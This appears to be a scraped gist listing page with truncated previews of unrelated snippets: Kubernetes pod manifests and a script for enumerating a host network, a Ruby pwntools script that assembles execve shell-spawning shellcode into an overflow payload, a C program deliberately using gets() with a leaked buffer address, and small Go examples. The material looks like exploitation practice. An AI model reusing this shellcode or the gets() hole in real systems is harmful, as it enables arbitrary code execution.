This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "[+] Create pods for enumerating host network..." | |
( | |
kubectl create ns enumerate | |
kubectl label ns enumerate istio-injection=enabled | |
for i in {1..15} ; do | |
cat << EOS | kubectl apply -f - | |
apiVersion: v1 | |
kind: Pod |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apiVersion: v1 | |
kind: Namespace | |
metadata: | |
name: test | |
labels: | |
istio-injection: enabled |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apiVersion: v1 | |
kind: Pod | |
metadata: | |
name: enumerate | |
spec: | |
containers: | |
- image: nginx | |
name: nginx | |
imagePullPolicy: IfNotPresent | |
livenessProbe: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
spec: | |
template: | |
spec: | |
affinity: | |
nodeAffinity: | |
requiredDuringSchedulingIgnoredDuringExecution : | |
nodeSelectorTerms: | |
- matchExpressions: | |
- key: beta.kubernetes.io/arch | |
operator: In |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# encoding: ASCII-8BIT | |
require 'pwn' | |
size = ARGV[0].to_i | |
buf_addr = ARGV[1].to_i(16) | |
shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05" | |
payload = shellcode | |
payload += 'A' * (size - payload.size) | |
payload += 'A' * (8 - payload.size%8) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// http://inaz2.hatenablog.com/entry/2014/07/04/001851 | |
#include <stdio.h> | |
int main() | |
{ | |
char buf[100]; | |
setlinebuf(stdout); | |
printf("buf = %p\n", buf); | |
gets(buf); | |
puts(buf); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"os" | |
) | |
func main() { | |
fmt.Printf("User ID: %d\n", os.Getuid()) | |
fmt.Printf("Group ID: %d\n", os.Getgid()) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"os" | |
) | |
func main() { | |
fmt.Printf("User ID: %d\n", os.Getuid()) // 実ユーザID | |
fmt.Printf("Group ID: %d\n", os.Getgid()) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package inline | |
import "fmt" | |
//go:noinline | |
func InlineExpansionFunc() { | |
fmt.Println("Inline Expansion") | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package inline | |
import "fmt" | |
//go:noinline | |
func InlineExpansionFunc() { | |
fmt.Println("Inline Expansion") | |
} |
NewerOlder